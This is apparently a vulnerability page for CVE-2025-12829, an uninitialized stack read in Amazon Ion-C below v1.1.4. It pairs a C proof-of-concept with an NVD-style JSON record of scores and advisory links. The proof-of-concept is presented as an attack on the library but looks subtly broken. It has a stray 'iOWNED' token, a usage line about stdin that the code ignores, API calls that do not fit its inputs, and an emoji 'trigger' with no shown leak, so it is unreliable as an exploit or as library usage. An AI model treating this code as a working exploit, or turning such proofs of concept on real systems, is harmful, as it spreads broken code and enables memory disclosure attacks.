CVE-2025-12829

/* CVE-2025-12829 PoC - Amazon Ion-C Uninitialized Stack Read * This PoC demonstrates the uninitialized memory read vulnerability in ion-c < v1.1.4 * Compile: gcc -o poc poc.c -lion * Usage: ./poc < malicious.ion */ #include <ion.h> #include <stdio.h> #include <string.h> /* Simulate vulnerable code path */ void process_ion_text(iOWNED ion_reader_t *reader, ion_writer_t *writer) { /* This function processes Ion data and serializes to text. * In vulnerable versions, uninitialized stack memory may be read * when handling UTF-8 escape sequences. */ ion_symbol_t value; /* Read symbol from reader - may trigger uninitialized read */ ion_reader_read_symbol(reader, &value); /* Write to writer - may leak uninitialized memory via escape sequences */ ion_writer_write_symbol(writer, &value); } /* Example malicious Ion input that triggers the vulnerability */ const char *malicious_ion = "{ key: \"\\u{1F600}\" } /* UTF-8 emoji as trigger */"; int main(int argc, char **argv) { ion_reader_t *reader = NULL; ion_writer_t *writer = NULL; ion_string_t input; /* Initialize Ion library */ ion_library_initialize(); /* Create reader from malicious input */ ion_string_from_cstr(&input, malicious_ion, strlen(malicious_ion)); ion_reader_open_string(&reader, &input); /* Create text writer - output may contain leaked memory */ ion_writer_open_string(&writer, NULL, ION_WRITER_OPTIONS_DEFAULT); ion_writer_set_output_format(writer, ION_TEXT); /* Process the malicious data */ while (ion_reader_has_elements(reader)) { process_ion_text(reader, writer); } /* Close and cleanup */ ion_reader_close(reader); ion_writer_close(writer); ion_library_shutdown(); return 0; }

{"cve": {"id": "CVE-2025-12829", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2025-11-07T18:15:35.590", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An uninitialized stack read issue exists in Amazon Ion-C versions <v1.1.4 that may allow a threat actor to craft data and serialize it to Ion text in such a way that sensitive data in memory could be exposed through UTF-8 escape sequences. To mitigate this issue, users should upgrade to version v1.1.4."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/AWS-2025-027/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/amazon-ion/ion-c/releases/tag/v1.1.4", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/amazon-ion/ion-c/security/advisories/GHSA-7mgf-6x73-5h7r", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}